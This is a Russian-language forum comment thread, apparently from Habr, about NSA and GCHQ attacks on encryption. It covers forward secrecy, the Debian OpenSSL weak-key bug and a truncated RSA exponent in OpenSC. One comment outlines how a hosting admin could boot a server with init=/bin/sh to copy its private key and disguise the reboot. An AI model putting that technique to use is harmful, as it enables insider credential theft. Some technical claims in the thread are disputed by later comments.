А разве для АНБ с их деньгами и ресурсами проблема внедрить агента в контору ВКонтакта?
Lux_In_Tenebris
Извините за плебейский юмор в столь серьезной теме, но вспомнился анекдот в тему:

Американцы много лет готовили резидента для работы в СССР. Его легенда была разработана блестяще. Наконец, его забросили с самолета на советскую территорию, и он вышел из лесу, одетый в ватник и кепку. Зайдя во двор избы, он попросил у бабки напиться.
— А ты, милок, не шпион ли будешь?
— С чего ты взяла, бабка?
— Да мы в наших краях негров отродясь не видали!
Alexeyslav
Прочитайте статью guardian:

This GCHQ team was, according to an internal document, «responsible for identifying, recruiting and running covert agents in the global telecommunications industry.»

меня это пугает даже больше
J_o_k_e_R
ёпт. И что? У нас в каждом прове такой covert agent сидит. Товарищ СОРМ называется. Шифруйтесь на концах ключами от 4096 бит и будет Вам счастье.
Goodkat
Это не про железо, а о людях
powerman
Ну, например на многих хостингах админы или даже техники могут без проблем получить приватные ключи https-сайтов, которые хостятся у этого провайдера. Даже если это дедики — долго ли перегрузить линух с init=/bin/sh, скопировать ключик и перегрузится? А если клиент эту перезагрузку и заметит, всегда можно сказать про сбой питания или вообще списать на глюк ОС или железа самого дедика.
Zmops
init=/bin/sh не поможет в случае какого-нибудь трукрипта, например
yshurik
И у многих веб-сайтов на сервере винты зашифрованы? Я о таких даже не слышал.
J_o_k_e_R
А многим оно надо шифровать?
yshurik
pirate-party.ru/ (я бы дал на pirate-party.ru/ но у меня там ключ подписан «своим» CA, так что ВАШ браузер скорее всего будет ругаться (если не установить pirate-party.ru/ca.crt) :)

Ну и пучок других сайтов-соседей :)
J_o_k_e_R
Уже обсуждалось на хабре. LUKS на раздел с приватными ключами Вам в помощь. Хотя и на это есть ответ. Хотя и на ответ есть свой ответ. Но в итоге мы приходим к тому, что хоститься надо дома под кроватью, при этом доступ только через i2p.

А если серьезно, то все зависит от уровня палевности информации и требуемой ее доступности.
yshurik
от греха подальше, думаю, можно совместить (именно совместить, а не заменить, как предлагает АНБ) с ec-криптографией :)
J_o_k_e_R
И ОБЯЗАТЕЛЬНО застеганографить в котика. Что за секурити без котярити?
powerman
ваш трафик и SSL private key

SSL private key и зашифрованного трафика недостаточно, чтобы узнать открытый трафик (точнее, открытый текст). Дело в том, что приватный ключ в SSL используется не для шифрования, а для проверки подлинности сервера (и клиента, если используются клиентские сертификаты, как в WebMoney). А для установления зашифрованного соединения используется алгоритм Диффи — Хеллмана. Следовательно, для расшифровки перехваченной информации нужно атаковать именно его, а не алгоритм RSA.

Получается, что при использовании SSL остаются опасности только в виде MITM, которую невозможно скрытно проводить глобально, и баги/закладки, число которых должно только уменьшаться ввиду открутости исходного кода и сообщества, проверяющего изменения кода.
mva
Вы никогда не пробовали в Wireshark импортировать приватный ключ, который использовался одной из сторон SSL обмена? Я пробовал. HTTPS превращается в HTTP.

Пруф
powerman
Каюсь, что сказал, не имея достаточно знаний. Я был настроен слишком оптимистично. Если кого-то ввёл в заблуждение, прошу прощения.

Для меня новость, что в SSL шифрование может полностью держаться на приватном ключе сервера (то есть, что в SSL может не быть совершенной прямой секретности). Если я правильно понял, по умолчанию алгоритм Диффи — Хеллмана (для выбора сеансового ключа) не используется в HTTPS. Также не все варианты VPN обладают совершенной прямой секретностью. SSH обладает свойством совершенной прямой секретности.

Печально, что не все эти протоколы обладают свойством совершенной прямой секретности. По-моему, было бы здорово, если бы был одобренный браузерами вариант HTTPS, в котором есть только обмен ключами, но нет приватного ключа сервера. С одной стороны, такой вариант уязвим к MITM-атакам, зато не нужно было бы платить за сертификат. Мне кажется, с точки зрения клиента, HTTPS с приватным ключом сервера, но без совершенной прямой секретности не лучше, чем наоборот. Думаю, что компрометация приватного ключа сервера в будущем более вероятна, чем MITM в настоящем или компрометация сеансового ключа.

Радует, что гугл использует HTTPS с совершенной прямой секретностью. Ещё подобный вариант я нашел только на GitHub.
Jammarra
Читая ваш коммент, складывается ощущение что вы СЕО-шник, который продаёт совершенную прямую секретность :)

Но с содержанием согласен на все 100%
mva
Зависит от того, какое распределение ключей используется. Например ECDHE и DHE обеспечивают perfect forward secrecy.
J_o_k_e_R
Алгоритм Диффи — Хеллмана (DHE, ECDHE) в большинстве случаев не используется, см news.netcraft.com/archives/2013/06/25/ssl-intercepted-today-decrypted-tomorrow.html
Кратко — По подсчетам netcraft от лета 2013 года — 97-99 % https-сайтов не используют Диффи-Хеллмана при соединении с IE или Safari; и 66% сайтов для Chrome, Opera и Firefox. IIS использует DH в 0.5% соединений; среди сайтов, участвующих в PRISM и нескольких популярных порталов, только google и cloudflare применяют ECDHE. Есть кстати экспресс-проверка www.ssllabs.com/ssltest/index.html которая сообщает режим работы (флаги «FS» и «no FS») для большинства комбинаций браузер/ОС.

Закладки нужно искать не только в софте (серверном), но и в ускорителях и терминаторах SSL (кстати, интересно, насколько широко они нынче используются наиболее популярными сайтами, к примеру wikipedia работает через nginx в качестве ssl termination proxy).

Если используется SSL без Perfect forward secrecy, то основной вопрос в приватном ключе. Если есть Perfect forward secrecy, то реализация с закладкой должна сохранять и/или пересылать третьей стороне сеансовые ключи (о чем напоминает ssllabs.com в своем блоге: «It's also sometimes called perfect forward secrecy, but, because it is possible to decrypt the communication by breaking the session keys, it's clearly not perfect.»).
mva
Не боитесь спровоцировать войну ашкеназов с сефардами?
J_o_k_e_R
Опять нелогично: зачем ломать google, hotmail и fb если они на крючке и согласны работать?
starius
Они и не ломают, а только пишут об этом. Чтобы те кто еще не на крючке не волновались.
JDima
Все логично: если поверх (hot|g)mail вы используете средства шифрования(даже опенсорс, не говоря о проприетарных), то вероятно, что в них уже есть закладки на случай, если вы захотите угнать самолет и врезаться на нем в небоскреб
starius
Пример возможности таких бэкдоров:
bugs.debian.org/cgi-bin/bugreport.cgi?bug=527640
безобидное github.com/OpenSC/OpenSC/commit/5b5a7d3c58fc0ac85c3b33dcf4148eb57a6c0aff
pcmaniac
Красивое внедрение в https://github.com/OpenSC/OpenSC/commit/5b5a7d3c58fc0ac85c3b33dcf4148eb57a6c0aff. Может и неумышленное.

-  CK_BYTE publicExponent[] = { 3 };
+  CK_BYTE publicExponent[] = { 65537 };


Последняя строчка эквивалентна экспоненте 1. Со всеми вытекающими.

И не посмотрев внимательно даже не сообразишь, что именно произошло. Хотя warning от компилятора должен быть.
grossws
пффф, конечно, и не закладки\0дэй там какие-нибудь и прочее, а нормальный интерфейс с хорошим суппортом. Сотрудничество на официальном уровне с государством. норм бизнес группы(подразделения компании) есть, которые работают, так сказать предоставляют полный сервис за $ (разумеется в определенных рамках). все цивильно. после норд-оста у нас всю сотовую разблокировали и норм. а в 2010 фсб выродила нотификацию на обязательное сертифицирование криптоустройств. есть криптоустройство — стоишь в списке. если есть и не стоишь — сядешь.
все официально все спокойно. закон против терроризма вообще апогей — официально без суда и следствия можно применять любые меры, достаточно лишь подозрений в терроризме. а какие-то уебаны орут, что чиновники с мигалками на дороге охуели — пиздец — ложь пиздеж и промо акция и быдло стадами пасется.
a5b
А я то думал, чего это звук в скайпе постоянно с задержками идет! А оно то оказалось!
Ubran_Hera
Наоборот. Когда Вас прослушивают, качество связи изумительное.
bootch
Т.е. чтобы улучшить качество связи в скайпе достаточно сказать во время разговора «kill Obama»?
Gromit
Можно вскользь поинтересоваться стоимостью скороварок в Бостоне…
sovok_kpss
О, вроде хабр стал загружаться быстрее.
sovok_kpss
Путин, бомба, террористы, навальный.
grossws
А разве Сноуден не пообещал больше не выкладывать компромат, пока заперт в России? Или это раннее переданные документы, только сейчас опубликованные?
Sayonji
Он, кажется, обещал не работать против наших партнеров (США). Это условия для его проживания в России и политического убежища.
asnarskiy
Это он перед тем как в бега податься зарядил по крону публикацию свежатинки раз в месяц.
Gromit
«Если со мной что-нибудь случится, твои грязные делишки выплывут наружу!» (с) 30% американских боевиков.
PapaBubaDiop
Мне кажется, что Сноуден это уже бренд, под которым сливают информацию, которую раньше нельзя было выдавать, чтобы не засветить источник.
Stepanow
Мне кажется, два года назад для этого же самого создали Викиликс… Сноуденом продублировали для надёжности;-)
curlydevil
Джон Нэш возвращается…
dotneter
Интересно, информация о сотрудничестве АНБ с ИТ компаниями приведёт наконец к прикрытию Сколково и передачу денег отечественным учёным и промышленности? Или Путину как бывшему разведчику (интересно чьему и бывшему ли) интересней сливать российскую науку?
lucius
Кто прочел рекомендации Брюса Шнайера? Можете написать?
Skywrtr
1) Hide in the network. (TOR etc.)
2) Encrypt your communications. (TLS, IPSec, ...)
3) Assume that while your computer can be compromised, it would take work and risk on the part of the NSA – so it probably isn't.
4) Be suspicious of commercial encryption software, especially from large vendors.
5) Try to use public-domain encryption that has to be compatible with other implementations.
interrupt_controller
А еще он рассказал, что у него есть компьютер, который ни разу не выходил в Интернет. И это супербезопасно. Мне очень понравилось в конце

Trust the math. Encryption is your friend. Use it well, and do your best to ensure that nothing can compromise it. That's how you can remain secure even in the face of the NSA.
Gromit
Trust the math

Достаточно почитать статьи на тему «плохих» эллиптических кривых, после них приходит понимание, что даже математике доверять нельзя. Потому что сегодня твоя кривая ещё «хорошая», а завтра уже «плохая». Более того, если эту уязвимость найдёт АНБ, то вы о ней и не узнаете, и будете наивно пользоваться своей «хорошей» кривой, ничего не подозревая. И что самое интересное, про RSA я не встречал описания подобных уязвимостей, и это подозрительно.
SLY_G
Выше в топике был пример плохой реализации RSA: habrahabr.ru/post/192722/#comment_6693842
Xitsa
Это техническая ошибка, а не математическая. Техническую ошибку позже можно устранить, а с математической уже ничего не сделать. Да и в вашем случае код скорее всего просто не будет работать правильно.
Flammar
В комментарии на который я ссылаюсь есть ссылка, где описывается, как и в каких случаях эта конкретная уязвимость работала. Ключом с e=1 можно шифровать. Только после этого даже расшифровывать не нужно.

В стандарте прописано, что экспонента > 1. И рекомендуется, чтобы экспонента содержала малое количество 1 в двоичном представлении (чтобы быстрее возводить в степень).
SOLON7
Более того, кто сказал что кривые от SECG хорошие для нас, а не для кого — то ещё за компанию?
Pilat
Это способы, чтобы попасть в шорт-лист подозреваемых?
PcRow
Если Вы ничего противозаконного не делаете — вреда от попадания в шорт-лист для Вас не будет. Если делаете — попадание в шорт-лист Вас будет волновать меньше, чем передача данных в открытую. Ну и главное — чем меньше обычные люди боятся попасть в шорт-лист и чем больше они используют эти технологии, тем меньше смысла будет вести этот шорт-лист, ибо он будет уже далеко не шорт.
coolspot
А тут есть интересный момент, так как мы на пороге того, что списки будут делаться автоматически и не людьми, плюс санкции/решения по отношению к лицам в списках могут/будут тоже приниматься алгоритмами, то длина шорт листа не будет иметь значения.
Kirhgoff
Ещё он упоминает о своей программе для хранения паролей, при этом сорцы лежал на sourceforge, подписанные не Шнайером, а вообще непонятно кем.
Disasm
Теперь выясняется, что и TOR не так уж безопасен. Статья, в которой исследователи рассказывают, что большинство крипто ключей в сети Tor могут быть взломаны NSA
grossws
Сноуден — красавчик! :)
Disasm
Осень наступила. Новости о Сноудене все желтее и очевиднее. Кто-то когда-то сомневался, что одна из целей работы любой спец. службы является обход способов шифрование доступных подконтрольным элементам? Что-то реально изменилось после выкладывания этих документов?
Разве раньше не говорили: используйте линукс, шифруйте трафик открытыми программами и не пользуйтесь социалками?
Или пока жаренный петух в жоне будет псевдоофициальной информации мы никому не верим, что повсюду враги? Зато как нам покажут ОЧЕНЬ-ВАЖНУЮ-ТОПСИКРЕТ-БУМАГУ, у всех сразу +10 к паранойе?
grossws
«пока гром не грянет, мужик не перекрестится»
известная русская поговорка
Stocker
Одно дело знать, что в машине нужно пристегиваться, а другое дело увидеть, что бывает, когда это не делаешь.
shara
Меня пристегиваться приучили уроки физики в школе. Как не плохо я ее знаю, но механику немного понял. Вот проверять на своем опыте или видеть на чужом что-то не хочется. Лучше теоретические знания!
rudevich
В том то и лажа что у большинства не хватает мозгов пристегиваться, потому что не хватает мозгов подумать о возможных последствиях.
Как и водители алкоголики, ответственности ноль, что за свою жизнь что за чужую. Получается, что те, кто не пристегивается так же полоумен как и пьяный водитель?

Судя по лайкам
+23 kozzztik, 6 сентября 2013 в 11:18 #

большинство считает что для того чтобы начать пристегиваться нужно насмотреться аварий и развороченных тел?
Ау, вы чего?

kozzztik — ну надо же думать прежде чем такое писать)) или ты действительно считаешь, что одно дело знать, а другое увидеть?
Разве это не одно и то же для разумного человека?
powerman
Для любого вменяемого человека, у которого есть нормальный инстинкт самосохранения — это не одно и тоже. Понимание динамики и механики, цифры, расчеты — это все прекрасно и замечательно понятно. Но вид разорванного на две части тела в луже крови на асфальте впечатляет несколько больше чем расчеты. Впрочем, не знаю — может кого-то от расчетов тошнит также, как от вида трупа?
yshurik
Как раз для вменяемого человека, увидеть и знать это одно и тоже.
ПОтому как понимая — осознавая что либо, можно очень явно это представить и увидеть в воображении, и для этого разумному человеку не нужен экшн для глаз и мозга))

Инстинкт самосохранения очень легко притупляется в различных состояниях психики, если ты адекватный человек то не полезешь на крышу поезда ради прикола или что бы повторить подвиг друга, так как понимаешь что может за этим следовать, что там тыщщи вольт и станешь жареной курицей за секунду и т.п. А недалекому человеку в период эмоционального всплеска или наоборот депрессии такие мысли в голову не придут и он «спокойно» полезет.

Речь о том что не нужно совать палец в розетку что бы понять, что это опасно и нужно перед тем как это делать выключить электричество как минимум)))
Disasm
Вы хотите сказать что вид трупа вас впечатляет также, как мысль о смерти сама по себе? Не слышал что бы кого-то стошнило от размышлений о смерти. А вот от вида трупа такое не редкость. Вы не можете вызвать инстинкт самосохранения своими измышлениями, это все равно что обмануть самого себя. Мозг все равно знает, что реальная опасность не угрожает.
Вы можете сколько угодно думать и представлять, делать логические размышления. Это разумно и правильно. Но все это останется только в сознании. Вид трупа же задействует инстинкты отработанные тысячелетиями и проникает в самую глубь человеческого естества. Нет ничего постыдного в том, что это работает лучше. Так и должно быть.
KEKSOV
Теперь, в эпоху Сноудена, это «говорили» приобрело статус практически официальной информации.
electronauts
Так стандартная схема мышления, все, даже самые ужасные и неприятные события забываются через очень короткий промежуток времени.
А в направлении личной безопасности и вообще приватности к сожалению большинство вообще не хочет думать, и начинает шевилится когда дело уже аж по телевизору показали… И нескольких крупных медиа компаниях.

Тут та же фигня что с НЛО, мол «пока не увижу своими глазами не поверю», пока «АНБ» не напишет мне письмо на почту и не скажет что у них весь бекап моей интернет жизни у них лежит просто так для статистики, никто не поверит.

И смешно и грустно.
J_o_k_e_R
Браво! Полностью с вами согласен. Все с малых лет знают, что телефон могут прослушать, бумажную почту могут прочитать, за человеком могут проследить и т.д., но делают большие глаза и цокают языком, когда оказывается, что и Интернет — это (О боже!) не Страна Чудес и здесь всё обстоит примерно так же, как в реальной жизни. Слушали, читали и подглядывали во все времена.
Я не говорю, что мне это нравится, но так обстоят дела, такова жизнь, таковы люди (пожалуйста, не принимайте это на свой счёт). К тому же, в нормальной стране, доказательства добытые с нарушением уголовно-процессуального законодательства нельзя приобщить к делу.
Представьте, что Skype — это сотовый, представьте, что e-mail — это бумажное письмо т.д. И всё встанет на свои места. Хотите что-то скрыть — ведите себя осторожней, потому что иначе, обижаться можно будет только на себя.
AlexeyK
«Пытается», «работает», «потрачено X млн. долларов», «считает возможность расшифровывать информацию одним из своих приоритетов» и т.д. Мне одному показалось, что никакой конкретики и тоже самое можно было написать 5 лет назад? Я о том, что чего-то достичь-то им удалось? Или Сколково-2?
kozzztik
Судя по тексту, им так и не удалось взломать SSL/TLS, хотя они и пытаются до сих пор. Так что основные усилия сосредоточены на краже ключей. Это очень хорошая новость — если приватный ключ не отдавать (т.е. формировать сертификат не из коробки, а подписью запроса от своего ключа), то если проверять отпечаток на клиенте — вы получаете полностью надежное соединение. Остается только вопрос компрометации самой операционной системы.
Sychuan
А что вообще такое «взломали» SSL/TLS? SSL — три версии, из которых 1-2 уязвимы (возможно только теоретически), TLS тоже вроде три. Над чем бьются доблестные АНБешники не очень понятно.
Marsmoon
Выше написали неправду.
kozzztik
Действительно. Отписался выше. Жаль, что это неправда.
Marsmoon
Зависит от того, какие алгоритмы распределения ключей используются для получения сеансового ключа. См. выше.
kozzztik
У них бюджеты пилят точно также.
Flammar
Жаль нет понимания и знаний достаточных, чтобы проверять Open Source ПО на наличие закладок и ошибок, позволяющих получить доступ к зашифрованным данным.
Marsmoon
Ситуация исправимая. Учитесь, читайте. Материалы пока еще доступны в интернет.
goldena
Все-таки склад ума определенный нужен. Не так-то просто научиться понимать.
savostin
Я вот тоже за TrueCrypt волнуюсь.
kozzztik
Когда же кино про Сноудена снимут…
J_o_k_e_R
Этого не знаю, но вот про Ассанжа («Пятая власть») через 47 дней. www.kinopoisk.ru/film/607152/
starius
Ого! Камбербетч в кино про Ассанжа — однозначно к просмотру.
JDima
Как бы не получилось что-нибудь в духе Хакеров, где протагонисты были показаны просто нереально могучими чуваками, делающими реверс-инжиниринг вируса, написанного антагонистом, по распечатке чуть ли не дизассемблированного кода, или Социальной Сети, где Цукурберг тоже весь из себя такой кулхацкер.
starius
Да, это проблема. Я бы очень хотел посмотреть реалистичный фильм про хакеров с интересным сюжетом, но таких не существует.
grossws
Это классная идея для кикстартера. Кардеры задонатят вдоволь (:
dlancer
Касаемо шифрования. Ошибки если и есть, то они касаются реализации? Сами алгоритмы на данный момент ведь неуязвимы?
PcRow
Шнаейр приводит в пример «дифференциальный криптоанализ», который долгое время был известен и активно использовался спецслужбами США, при этом абсолютно не был известен в академической среде. И вполне вероятно, что сейчас NSA знает не известные в публичной науке подходы ко взлому именно на уровне алгоритмов.
J_o_k_e_R
При всем при этом, когда принимался стандарт DES, АНБ внесло незначительные поправки в аглоритм, тем самым фактически защитив его от «дифференциального криптоанализа».
PcRow
На HN NSA обозвали National Schizophrenia Agency.
dmbreaker
Статья напоминает частичный пересказ книжки Дена Брауна «Цифровая крепость» — те же датацентры, «запасные ходы» в алгоритмах шифрования…
copyhold
Или трети киберпанка вообще.
PcRow
Эти публикации могут вызвать серьёзный передел рынка средства информационной безопасности. Потенциально они могут сильно повредить американским компаниям (ms, intel, qualcomm), поскольку уже нет доверия к ним, а бизнес может проголосовать баксом за сторонние (возможно опенсорсные решения) для VPN, например. В документах написано, например, что VPN является одной из главных целей.
urix
«взлома коммуникаций методом грубой силы»
ну что за перевод… :(
Semisonic
Термин bruteforce не всем понятен, да и в России же мы, все-таки :)
PcRow
перебор
shara
именно
PcRow
И правда.
Cancel
зато минусов навтыкать не забыли
NeverWalkAloner
Хм… Что-то подсказывает что не зря Сноудена в России пригрели…
Cancel
А как дела с OpenSource алгоритмами? Что-то мне подсказывает что сборщики бинарных пакетов для Linux дистрибутивов тоже могут кормится с этих АНБ-шных миллиардов.
dshvechikov
Use the powergentoo, Luke.
grossws
[paranoia mode on]
Сама по себе Гента — тоже особо не панацея. Вдумчиво читать всё, что хочешь собрать — жизни не хватит. А если написать закладку и отправлять её по частям посреди больших, полезных и с виду безобидных патчей — мейнтейнеры имеют ненулевой шанс не заметить пакость. Примерно как найти 5000 руб. на Красной площади — хоть и маловероятно, но не исключено.
Cancel
Большие полезные патчи отправляются не майтейнерам генты, а разрабам соответствующего ПО.
shtirlitsus
Дык ведь linuxfromscratch.org! Все только сам, все своими руками, байт к байтику, патч к патчику… :)
Akr0n
У него слишком маленькое комьюнити, у которого наверняка нет особого стремления к безопасности LFS.
hellman
Сила Джедаев называется в первоисточнике «force», а не «power».
shtirlitsus
Зато Power у Ситхов
Akr0n
Интересно, а под угрозом ли зашифрованный TrueCrypt диск, если использовать хардварный AES в современных процессорах Intel?
shtirlitsus
Разве что ключ сливает куда нить, а так вряд ли
devprodest
Вряд ли. AES — это открытый стандарт. Подали два значения на вход — получили одно на выход. Ослабить AES не получится, не исказив выходные данные при заданных входных. А если бы они искажались — образы Трукрипта, созданные с включенным и отключенным аппаратным ускорением, были бы несовместимы.
juffinhalli
«Хутин — пуй» вам в личной переписке и при наихудшем развитии ситуации Вы долго и упорно объясняете дяденькам в штатском, что Вы совершенно не знаете этого J_o_k_e_r'а, который написал Вам столь революционную фразу с новозеландского IP.

Да уже одно Ваше «х** с ними» в адрес нашего Великого Богоизбранного Правительства попахивает экстремизмом, гражданин Гевергес Олег, 26 апреля 1989 года рождения, проживающего в городе Ташкент, Узбекистан. (прим. товарища полковника)
J_o_k_e_R
Писалось с определенной долей юмора. Вы не можете предполагать где и когда Вам понадобится что-то скрыть от власти. И если среди Вашего нешифрованного трафика вдруг пойдет шифрованный, то это очевидный сигнал «ЗДЕСЬ ПАЛЕВО».
Raegdan
:) ну думаю мне никогда не придется что-то прятать от властей как и большей части паникующих. Больше вероятности, что от жены придется что-то прятать, но благо она не в правительстве работает.


Думайте так дальше, Ваше право. Но можно генерить шифрованный траф хотя бы для маскировки тех, кому это использование необходимо.

А насчет жены будьте осмотрительнее — посмотрите «Мистер и миссис Смит» ;)

А подобных переписок появляется по 100500 в день, и они давно уже фильтруются, на рассмотрение скорее всего идут действительно подозрительные переписки. А уж если вами заинтересовались, то что-то спрятать или утаить уже будет сложновато.


Шифруйте даже котиков. Слейтесь с серой массой параноиков. Не дайте пововода заинтересоваться Вами :-D
J_o_k_e_R
Так это. Подавляющее большинство пользователей интернета и так постоянно генерят шифрованный трафик, сами того не подозревая. Гугл по умолчанию доступен по https. Большая часть почтовых сервисов. Да что там почтовые сервисы… Фейсбук по умолчанию работает через https!
KEKSOV
Можете поручиться, что и вашим детям будет нечего прятать от властей? Или что власти никогда не смогут повлиять на ваших детей через вас?
Disasm
То есть то, что у нас человека посадили, только за то, что он был всего лишь знаком с Навальным вас никак не насторожило?
Mithgol
Ну вообще-то, разумнее не доводить до
Великого Богоизбранного Правительства

чем укрываться от него шифрованием.
У правительства всегда будет больше ресурсов для взлома, чем у вас для защиты от него. Другое дело, что на большинство Неуловимых Джо никто ресурсы тратить не станет.
Lure_of_Chaos
я тут в комменте тоже уже написал про то, что мы слишком много ресурсов даем государству бесконтрольно и получаем вполне закономерный результат
CRImier
А вы уверены, что содержимое вашего торрент-клиента не заинтерсует копирастов?
Scratch
Вас заморозили в начале нулевых и разморозили только что? У нас тут сайты без суда и следствия блокируют. И это не работает. Скоро и до пользователей могут дойти.
Raegdan
> Скоро и до пользователей могут дойти.

djlexs
Ели мясо мужики… (Король и шут)
J_o_k_e_R
Если вы ещё не снимаете домашнее порно, то, думаю, скрывать есть что. Или снимаете?
djlexs
А если для внуков?
J_o_k_e_R
И? Ну следять они за нами, это было всегда и будет всегда, до тех пор, пока каждый не сможет читать мысли каждого (но тогда мозг просто взорвется или войдет в рекурсию, если 2 человека будут читать мысли друг друга о том что они читают мысли и чего именно читают). Более того, уже не один раз обсасывали моменты, что в чипах китайцы оставляют дебаг бекдоры, в том числе на железках, которые позже идут в оборонку. Вот зашифруете вы трафик свой, все данные спрячите, а потом внезапно окажется что в вашем hdd закладка, которая при первой возможности всё расшифрует и передаст кому надо. Будете делать свой хард на транзисторах и перфокартах? OpenSource, да я всему руками за него, но физически не могу перепроверить ВСЕ программы, модули, загрузчик и ядро на предмет бекдоров и багов и пересобрать их (доверять другим? а где ганатия что другие не из АНБ?), после полной уверенности что всё чисто (а где гарантия что gcc не без закладок? писать свой компилятор на асемблере? а где гарантия что в x86 нет закладок? делать свой процессор? и т.д.). Поэтому где гарантия что ставя из репы убунты что-то, я не качают попутно бекдор в ядре или например модуле для WiFi карты?

Меня волнует другой вопрос. Можно будет как то в будущем получать бекапы этих данных? А то держу NAS, сервак, всякие облачные сервисы, а тут АНБ/ФСБ/итд бесплатно всё хранит, сортирует и каталогизирует за меня. Еще бы записи телефонных разговоров не помешают, а то чего то софт через раз работает, а иногда бывает нужно переслушать.
djlexs
...бесплатно всё хранит, сортирует и каталогизирует за меня. Еще бы записи телефонных разговоров не помешают, а то чего то софт через раз работает, а иногда бывает нужно переслушать.

Не все так просто: (звонок в НБА для восстановления удаленного письма)
J_o_k_e_R
>звонок в НБА
Скорее человек звонит в АНБ, чем в Национальную Баскетбольную Ассоциацию.
fenrirgray
А вдруг именно в НБА? Не просто же так в фильме «Люди в черном» люди в черном скрывались за вывеской «Управление мостов и туннелей» :)
ximaera
подскажите, какую ось нынче относительно безопасно можно использовать в качестве частного VPN (SSH/OpenVPN) когда гос. сертификация не нужна?

Debian, как то портили уже
Венду — конечно нет…
OpenBSD и SSH как производная, вроде чуть ли не спонсировался когда-то боссами Сноудена?

OpenBSD, Astra Linux Common Edition (бесплатную для всех), Centos?

желательно под Linux, конечно
kozzztik
Можно пруф про «порченный» дебиан?
Astra Linux Common Edition — оно вообще-то на неугодившем Вам дебиане основано. Юзайте source-based дистр, с большим коммунити. Например, gentoo. Или BSD, в которых я не силен.
DarthVictor
Можно пруф про «порченный» дебиан?
article.gmane.org/gmane.linux.debian.security.announce/1614
Package: openssl
Vulnerability: predictable random number generator
Problem type: remote
Debian-specific: yes
CVE Id(s): CVE-2008-0166

The first vulnerable version, 0.9.8c-1, was uploaded to the unstable
distribution on 2006-09-17, and has since propagated to the testing and
current stable (etch) distributions. The old stable distribution
(sarge) is not affected.

Affected keys include SSH keys, OpenVPN keys, DNSSEC keys, and key
material for use in X.509 certificates and session keys used in SSL/TLS
connections. Keys generated with GnuPG or GNUTLS are not affected,
though.


Между внедрением уязвимости и её обнаружением прошло почти ДВА ГОДА (!!!)
Уязвимый код попал во все Debian-подобные дистрибутивы — включая Ubuntu.
Вполне вероятно, что многие по-прежнему используют сгенерированніе уязвимой версией OpenSSL ключи.


Честно говоря, я считал что об этом случае знает каждый…
Foxcool
Спасибо. Я как-то мало имел дел с дебиан. Лишь только в генте видел этот ебилд:
* app-crypt/openvpn-blacklist
Available versions: ~0.3 ~0.4
Homepage: packages.debian.org/sid/openvpn-blacklist
Description: Detection of weak openvpn keys produced by certain debian versions between 2006 and 2008

Теперь буду знать.
Zagrebelion
Теоретически, Astra Linux недавно сертифицировала ФСБ для категории СовСекретно. Вот только у меня большие сомнения, что они перелопатили весь код и реально ничего не нашли…
djlexs
А особенно ничего не заложили ;)
J_o_k_e_R
Почитайте про историю с шифрованием в gsm. Во всех эпизодах когда привлекались эксперты секретных гос служб для консультаций, реализации, улучшений всё приводило к компроментациям/ослаблениям алгоритмов шифрования, компроментациям используемых систем, итд. Всё для гарантии последующего доступа служб ко всему мобильному трафику с минимальным затрачиваемым временем для расшифровки.
forgotten
только у меня большие сомнения, что они перелопатили весь код

Вы не знаете ещё всех чудес российского «формального» инфобеза… ФСБ лишь выдаёт итоговую бумажку, а собственно код «исследуют» (проводят «испытания на наличие НДВ») разномастные коммерческие конторки, имеющие на это дело лицензию.
Michael134096
ну так что с дистрами?
неужели даже OpenBSD ненадежна?

может, хотябы хакеры знают и исользуют какой-нибудь древний дистр из самых ванильных сорцов без добавления консервантов?
какие дистры сертифицированы к примеру BlackHat (а не ФСБ или АНБ)?
Weageoo
Неясно, скомпрометированы ли опенсорсные решения: как крипто, так и ОС и прочее. Есть вероятность, что в тот же линукс попали закладки: очень сложно за ним следить. Даже строгая и логичная OpenBSD, которую постоянно мониторят, не избежала скандала с попаданием какой-то мутной хрени в свое время. Получается все так же:

1) Сообществу надо более яростно изучать стойкость открытых решений;
2) Юзерам и бизнесу активно переходить на открытые решения;
3) Создавать децентрализованные аналоги популярных средств коммуникации (все ждут Tox да?);
4) И самое главное — повышать сознательность населения. Все боятся мифических хакеров больше, чем правительства. Всем пофиг на слежки — им в голову ссут со всех телеэкранов. Многие просто боятся даже что-то говорить и даже думать о том, что что-то идет не так.
shara
А еще главный вывод:

мы слишком много налогов платим. Накормили огромных монстров в лице больших и жадных до власти государств. Нужно развивать криптовалюты и уходить от фиата: не платить налоги. Если это реализовать, то государство будет получать деньги на конкретные дела добровольно с внешним контролем со стороны граждан. А иначе это битва с огромным сильным монстром, который кормится твоей же кровью.
Juggernaut
А что за Tox? Погуглил но слишком много похожих аббревиатур.
SovGVD
hodik
tox.im/ — у вас плохо тренированный гугл
kasthack
Хабру давно пора https поднимать
sanyock
Интересно, а почему не написали о наиболее пугающей новости: что АНБ имеет цвоих внедрённых агентов во всех больших IT компаниях. Зачем принуждать Google отдавать приватные ключи если вполне может оказаться что в Google работает около 100 анб агентов которые имеют в сумме доступ к любым ключам и данным…
J_o_k_e_R
Я же говорил, что единственный метод 100% шифрования — передать ключи собеседнику при личной встрече. Похоже к этому добавляется и собственное железо, которое тоже надо передать. В общем, BarsMonster, пили технологию производства микросхем дома на коленке… Скоро будешь миллиардером.
menraen
Причём железо тоже должно быть собственного производства во избежания закладок, будь то китайцев или АНБ.
Akr0n
Я уже успел позаниматься криптоанализом :-) Сложно там легально деньги зарабатывать :-)
J_o_k_e_R
Кстати о микросхемах. Можно ведь сделать микросхемы большой партией на любом заводе, а потом провести teardown случайной выборки и сравнить с исходным дизайном. По-моему вполне неплохая альтернатива изготовлению на коленке.
yshurik
Можно, но АНБ работает не так:

Приходим к американской компании, зажимаем яйца директора в тиски (как в случае Google, Microsoft и ко) и заставляем встраивать бэкдор. Просто и бесплатно.

А зарубежным компаниям у которых руководство зажимать сложнее — не даем выходить на рынок со своими продуктами.

И наконец — изготовление микросхем по современным тех.нормам с криптографией — может подпасть под экспортные ограничения, и никто вам ничего не сделает.
Lux_In_Tenebris
Нужно создавать устройства, которые соединяются между собой по принципу mesh сетей (например ad hoc), полностью шифрую все данные при передаче и на самом устройстве. Сохранить анонимность в интернете, в том виде, в котором он есть сейчас, невозможно, нужно изменить сам интернет, но это утопия)
sanyock
… и спаять их из собственноручно изготовленных транзисторов
Foxcool
Как вариант)
Foxcool
Есть, например, Hyperboria
Kirhgoff
Чем Вам не нравятся существующие оверлейные над интернетом сети?

Я уже писал в многочисленных темах про гиберборию, что проблема mesh-сетей в контексте анонимности, как мне видится, что Ваш следующий хоп всегда недалеко от Вас в зоне видимости wifi. C этой точки зрения оверлейные сети над интернетом, где хопы могут быть Питер-Новая Зеландия-Африка-Америка намного лучше.
Foxcool
